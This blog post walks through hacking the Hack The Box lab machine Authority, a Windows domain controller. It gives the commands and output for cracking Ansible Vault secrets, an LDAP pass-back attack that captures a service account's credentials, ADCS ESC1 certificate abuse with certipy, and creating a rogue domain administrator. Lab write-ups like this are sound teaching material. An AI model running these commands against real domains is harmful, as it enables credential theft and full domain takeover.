HTB: Authority

Dru BanksDru Banks
14 min read

Overview

What's up, folks! In this article, we are hacking into Authority from Hack the Box, which is a Windows domain controller running various services. One of the most important services, as you'll find out, is Active Directory Certificate Services. This box will serve as both a learning and teaching opportunity, covering topics such as basic ADCS exploitation, LDAP pass-back attacks, and Ansible Vault hash cracking. Let’s get started.

Recon

Nmap

As usual, the first step is enumerating as much as possible. I kicked off an Nmap TCP scan to get an idea of what kind of machine we are targeting.

nmap -v -p- --min-rate=1000 authority.htb 
---- SNIP ----
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49679/tcp open  unknown
49682/tcp open  unknown
49685/tcp open  unknown
49697/tcp open  unknown
64084/tcp open  unknown
64131/tcp open  unknown

Right away, the open ports show us that we're working with a domain controller. This matches what I've found in my research about the specific services that need to be on a DC.

It's also a good idea to perform a UDP scan on the target to make sure we cover all our bases.

nmap -sU -v -n --min-rate=5000 authority.htb

Completed UDP Scan at 14:04, 0.56s elapsed (1000 total ports)
Nmap scan report for authority.htb (10.129.229.56)
Host is up (0.060s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
53/udp    open   domain
123/udp   open   ntp
389/udp   open   ldap
32798/udp closed unknown

After taking note of the open ports, I performed another Nmap scan, this time with service discovery along with basic NSE script checks.

This extra bit of enumeration revealed some useful details, such as the machine name, domain, and basic information about the tech stack.

Relevant Names & Tech Stack

Port 445 (SMB)

Shares

When someone attempts to connect to a Windows share with invalid or non-existent credentials, Windows automatically falls back to the Guest account if it's enabled. I initially tried to see what shares I could access using null credentials but that failed. I kind of expected that! That’s okay, because the next step is trying with a username and no password. If either works, it indicates a serious security misconfiguration involving anonymous access to network shares, especially if the shares are on a DC. On a regular pentest this would be considered a finding.

The username "0xdlb" doesn't exist in the domain, so the system automatically used the Guest account for access. I found that I had READ access to a Development share. This share contained a single directory, Automation/Ansible, which had four very interesting folders clearly visible.

The ADCS folder had a Readme.md file that seemed to contain credentials. I'll keep this in mind in case it's useful later, but it seemed too straightforward to be the intended solution.

I discovered what appears to be an account name for a service within the PWM folder.

After looking further, I confirmed that there was a PWM web service. I wasn't sure what that was, so I did some research. PWM is an open-source, web-based password self-service application. It's mainly used by organizations to let users manage their own passwords within LDAP directories, like Active Directory, OpenLDAP, or FreeIPA. This gave me a major hint that eventually we may need to exploit LDAP in some capacity.

Port 53 (DNS)

Zone Transfer

I attempted to enumerate DNS through a zone transfer.

This didn’t lead anywhere unfortunately.

Port 80 (HTTP)

Website

The web application shows the default IIS page. This typically means that the web server is running but no custom website or application content has been deployed to replace anything.

Directory Brute Force

Alright, so port 80 is live, but it’s just showing the default IIS page. That’s usually a dead end... unless we can discover more content. I’ll use the directory busting tool, Feroxbuster, to try and enumerate further.

This led to nothing interesting.

Vulnerability Scan

With the website looking pretty bland and no obvious functionality exposed, I decided to throw Nuclei at it to see if I could catch any low-hanging fruit.

Nothing major popped up in this case, but it’s still worth doing. In a real pentest, running a vulnerability scanner against web apps should always be part of your methodology.

Tech Stack

In some cases, the headers of web applications can help us fine-tune our attacks. In this instance, the HTTP headers are restricted and only indicate that this is an IIS server. Nothing really useful to be honest.

HTTP/1.1 200 OK
Content-Length: 703
Content-Type: text/html
Last-Modified: Tue, 09 Aug 2022 23:00:33 GMT
Accept-Ranges: bytes
ETag: "557c50d443acd81:0"
Server: Microsoft-IIS/10.0
Date: Mon, 09 Jun 2025 04:16:48 GMT

Port 8443 (PWM)

Web Request Error

Attempting to access the web application via HTTP renders an error.

TLS Certificate

The TLS certificate for the site didn’t reveal anything super useful.

Website

The web root displays the default PWM login page.

We can gather information by pressing the arrow at the top right. As it turns out, running PWM in open configuration mode is not recommended because it exposes critical administrative functions to anyone who can access the application.

Shell as svc_ldap

Cracking Ansible Hashes

The PWM folder within the SMB share has a PWM/defaults/main.yml file which holds various configuration values. Among these configuration values, there are entries that appear to be cryptographic hashes.

cat Automation/Ansible/PWM/defaults/main.yml        
--- SNIP ---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

I can use the ansible2john script to convert the hashes into a format suitable for cracking.

ansible2john.py ldap_admin_password pwm_admin_login pwm_admin_password > ansible_hashes.txt

cat ansible_hashes.txt                      
ldap_admin_password:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
pwm_admin_login:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
pwm_admin_password:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5

Using the john tool cracks the hashes easily.

john --wordlist=`/opt/lists/rockyou.txt` ansible_hashes.txt
--- SNIP ---
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 SSE2 4x])
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
!@#$%^&*         (pwm_admin_login)     
!@#$%^&*         (ldap_admin_password)     
2g 0:00:00:29 DONE (2025-06-08 12:08) 0.06716g/s 1337p/s 2675c/s 2675C/s 051106..teamokaty
Session completed.

The cracked value is actually the Ansible Vault password. We use it to actually decrypt the hashes to reveal plain text credentials for the PWM admin.

ansible-vault view pwm_admin_password
Vault password: !@#$%^&*
pWm_@dm!N_!23

ansible-vault view ldap_admin_password
Vault password: !@#$%^&*
DevT3st@123

I confirmed that the credentials work for svc_pwm, but we don’t have winrm access.

LDAP Coercion

I managed to successfully log into the PWM configuration manager with the svc_pwm credentials.

We already know through research that PWM interacts with LDAP over protocols like ldap:// or ldaps:// and uses service accounts with permission to modify password attributes. This is typically via an account such as svc_ldap. Since PWM in this instance is misconfigured, we can potentially coerce that service account to authenticate to our listener by messing with the settings. This is a classic setup for an LDAP Pass-Back attack.

An LDAP Pass-Back attack is a specific technique where an attacker tricks an application or system into trying to bind to a malicious LDAP server, which the attacker controls. When the victim system does this, it often sends credentials (usually NTLM hashes or plaintext passwords) as part of the connection, which gives the attacker a chance to capture or relay them. This is a common attack against domain-connected printers, but the concept remains the same here.

We can go into the configuration editor portion of the PWM page to find the LDAP configuration settings. You’ll also notice we can confirm the name of the service account.

I changed the URI scheme from ldaps to ldap and the port to 389, and pointed it towards my host.

The responder tool does a nice job at catching the plain text creds.

WinRM

Using the newly pwned svc_ldap account gets us a winrm shell.

I’ll head directly to the user’s desktop to acquire the first flag.

Privilege Escalation

Enumeration

ADCS

It's always a good idea to try and enumerate ADCS. Once you've gained a foothold in a Windows environment, ADCS can be a goldmine. It's like finding a second set of keys to the entire building if it's misconfigured. The first order of business though, is to see if it is enabled within the domain and what certificate authorities exist.

nxc ldap authority -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -M adcs
LDAP        10.129.229.56   389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb)
LDAPS       10.129.229.56   636    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
ADCS        10.129.229.56   389    AUTHORITY        [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.129.229.56   389    AUTHORITY        Found PKI Enrollment Server: authority.authority.htb
ADCS        10.129.229.56   389    AUTHORITY        Found CN: AUTHORITY-CA

Okay, we confirmed the existence of ADCS within the environment. Next I can use the Certipy tool to enumerate further and find misconfigurations.

certipy find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -target authority.htb -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[!] Failed to resolve: authority.authority.htb
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via RRP: [Errno Connection error (authority.authority.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'AUTHORITY-CA'
[!] Failed to resolve: authority.authority.htb
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollmentCheckUserDsCertificate
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Property Principals       : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

It seems the CorpVPN template is vulnerable to ESC1. In short, this means the template allows low-privileged users(or in this case, domain computers to request certificates that can be used to impersonate any user, including domain admins, and authenticate to services like LDAP or Kerberos.

Exploitation

Creating a Computer Account

By default in Active Directory, any authenticated domain user can create up to 10 computer accounts. This is controlled by a setting called MachineAccountQuota, or MAQ for short.

The idea was to let regular users join machines to the domain without needing IT support. It made sense in environments where employees brought their own devices or needed to rejoin laptops on the fly.

At least, that was the intention.

In practice, this opens the door to abuse. If an attacker has a foothold as any domain user, they can create new machine accounts and control their attributes. This includes setting the machine password and assigning SPNs, which can be leveraged for attacks like Kerberoasting or resource-based constrained delegation. In this environment, it lets attackers request certificates for those machine accounts and escalate further using ADCS.

Before trying to create a rogue computer account, we need to check to see if the current user has a satisfactory MAQ.

I used addcomputer from Impacket to create the rogue computer.

addcomputer.py 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name CODEX$ -computer-pass codex -dc-host authority
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account CODEX$ with password codex.

However, when trying to use the rogue computer, I get an RPC error.

certipy req -username 'CODEX$' -password codex -ca AUTHORITY-CA -dc-ip 10.129.197.228 -template CorpVPN -upn administrator@authority.htb -dns authority.htb                         
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error: Unknown DCE RPC fault status code: 00000721
[-] Use -debug to print a stacktrace

I was stuck here for quite a bit. Turns out what I needed to do was create a computer account that followed the domain’s password complexity rules. Active Directory enforces password policies even for machine accounts. That means if your machine password is too short or doesn’t meet the complexity requirements, the domain may accept the object creation, but silently reject authentication attempts using that password. So tools like Certipy, which rely on domain authentication mechanisms, will break if the domain doesn’t fully accept the credentials.

The fix to this is simple: check the password policy and create a machine account that is compliant with it.

Now that I know the password policy, time to create another rogue computer.

addcomputer.py 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name 0xdlb$ -computer-pass 0xdlb0xdlb0xdlb! -dc-host authority
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account 0xdlb$ with password 0xdlb0xdlb0xdlb!.

I had better luck this time around.

certipy req -username '0xdlb$' -password 0xdlb0xdlb0xdlb! -ca AUTHORITY-CA -dc-ip 10.129.197.228 -template CorpVPN -upn administrator@authority.htb -dns authority.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'

Another problem arises. Trying to use the certificate for authentication fails with a KDC error.

certipy auth -pfx administrator_authority.pfx -dc-ip 10.129.197.228
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@authority.htb'
    [1] DNS Host Name: 'authority.htb'
> 0
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

The way Kerberos authentication works is that it requires clients to prove their identity before they can get a Ticket Granting Ticket (TGT). When I tried using Certipy to authenticate, it likely attempted to use PKINIT, which is Kerberos authentication via certificate.

The error I ran into means we're trying to authenticate to the KDC (the Domain Controller) using a type of pre-authentication data that it doesn't support or recognize. In this case, the KDC is basically saying, “I don’t know how to handle this kind of login.”

It’s like handing someone a QR code when they don’t even have a phone to scan it. You’re doing everything right, but the other side just doesn’t have the tools to respond.

So what now? Since our cert was still created, we’ve got a solid option: use Schannel to authenticate over LDAPS

LDAP Shell

Lets use Certipy again with the ldap-shell option to gain ldap access.

certipy auth -ldap-shell -pfx administrator_authority.pfx -dc-ip 10.129.197.228
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://10.129.197.228:636'
[*] Authenticated to '10.129.197.228' as: u:HTB\Administrator
Type help for list of commands
#

After gaining the ldap-shell, I create a user account and give it admin privileges.

certipy auth -ldap-shell -pfx administrator_authority.pfx -dc-ip 10.129.197.228
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://10.129.197.228:636'
[*] Authenticated to '10.129.197.228' as: u:HTB\Administrator
Type help for list of commands

# add_user 0xDLB
Attempting to create user in: %s CN=Users,DC=authority,DC=htb
Adding new user with username: 0xDLB and password: kXT'7SVT5{ebMeH result: OK

# add_user_to_group 0xDLB 'Administrators'
Adding user: 0xDLB to group Administrators result: OK

# enable_account 0xDLB
Original userAccountControl: 512
Updated userAccountControl attribute successfully

# change_password 0xDLB Bluecord4TW!
Got User DN: CN=0xDLB,CN=Users,DC=authority,DC=htb
Attempting to set new password of: Bluecord4TW!
Password changed successfully!

I can confirm that the new account has admin privileges with WinRM access.

nxc winrm authority -u '0xDLB' -p 'Bluecord4TW!'
WINRM       10.129.197.228  5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb)
WINRM       10.129.197.228  5985   AUTHORITY        [+] authority.htb\0xDLB:Bluecord4TW! (admin)

Let’s get an admin shell using evil-winrm once again.

evil-winrm -u '0xDLB' -p 'Bluecord4TW!' -i '10.129.197.228'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\0xDLB\Documents>

Then head to the Administrator desktop to grab the root flag.

Lessons Learned

When to use LDAPS instead of Kerberos?

Kerberos requires the client to send the right kind of pre-authentication data when requesting a Ticket Granting Ticket (TGT). If the KDC doesn't recognize or support that pre-auth method, it'll reject the request. A hacker can use LDAPS instead of Kerberos when attacking ADCS to bypass Kerberos-specific limitations like KDC_ERR_PADATA_TYPE_NOSUPP, or to leverage certificate enrollment mechanisms that don’t require Kerberos at all, such as username and password over TLS.

Suggested Reading

1
Subscribe to my newsletter

Read articles from Dru Banks directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Dru Banks
Dru Banks

I am a cybersecurity professional with a deep passion for offensive security, threat intelligence, reverse engineering, and malware analysis. I believe that 'knowledge is power,' and that at every opportunity, knowledge should be shared. My blog serves that purpose and will be a public source for my studies, including write-ups on various topics.